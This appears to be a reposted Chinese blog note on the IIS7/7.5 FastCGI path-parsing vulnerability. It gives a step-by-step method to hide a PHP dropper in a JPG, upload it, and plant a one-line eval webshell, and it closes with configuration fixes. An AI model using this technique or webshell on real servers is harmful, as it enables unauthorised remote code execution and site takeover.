IIS7/7.5在Fast-CGI運行模式下,在一個文件路徑(/xx.jpg)後面加上/xx.php會將/xx.jpg/xx.php 解析爲 php 文件。
常用利用方法:將一張圖和一個寫入後門代碼的文本文件合併將惡意文本寫入圖片的二進制代碼之後,避免破壞圖片文件頭和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二進制[binary]模式
/a 即ascii模式 xx.jpg正常圖片文件
yy.txt 內容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思爲寫入一個內容爲 <?php eval($_POST[cmd])?> 名稱爲shell.php的文件
######################################
找個地方上傳 xy.jpg ,然後找到 xy.jpg 的地址,在地址後加上 /xx.php 即可執行惡意文本。
然後就在圖片目錄下生成一句話木馬 shell.php 密碼 cmd
注意:
該解析漏洞利用需兩個條件:
1. php.ini裏cgi.fix_pathinfo=1(默認爲1)
2. 在”Handler Mapping”中取消勾選以下內容:
解決方案:
1. 配置cgi.pathinfo(php.ini中)爲0並重啓php-cgi程序
2. 在”Handler Mapping”勾選php-cgi.exe程序的”Invoke handler only if request is mapped to”
3. 重新配置iis,使用ISAPI的方式(注意:PHP5.3.1已經不支持ISAPI方式)。
原文:https://blog.csdn.net/sap910131/article/details/37379177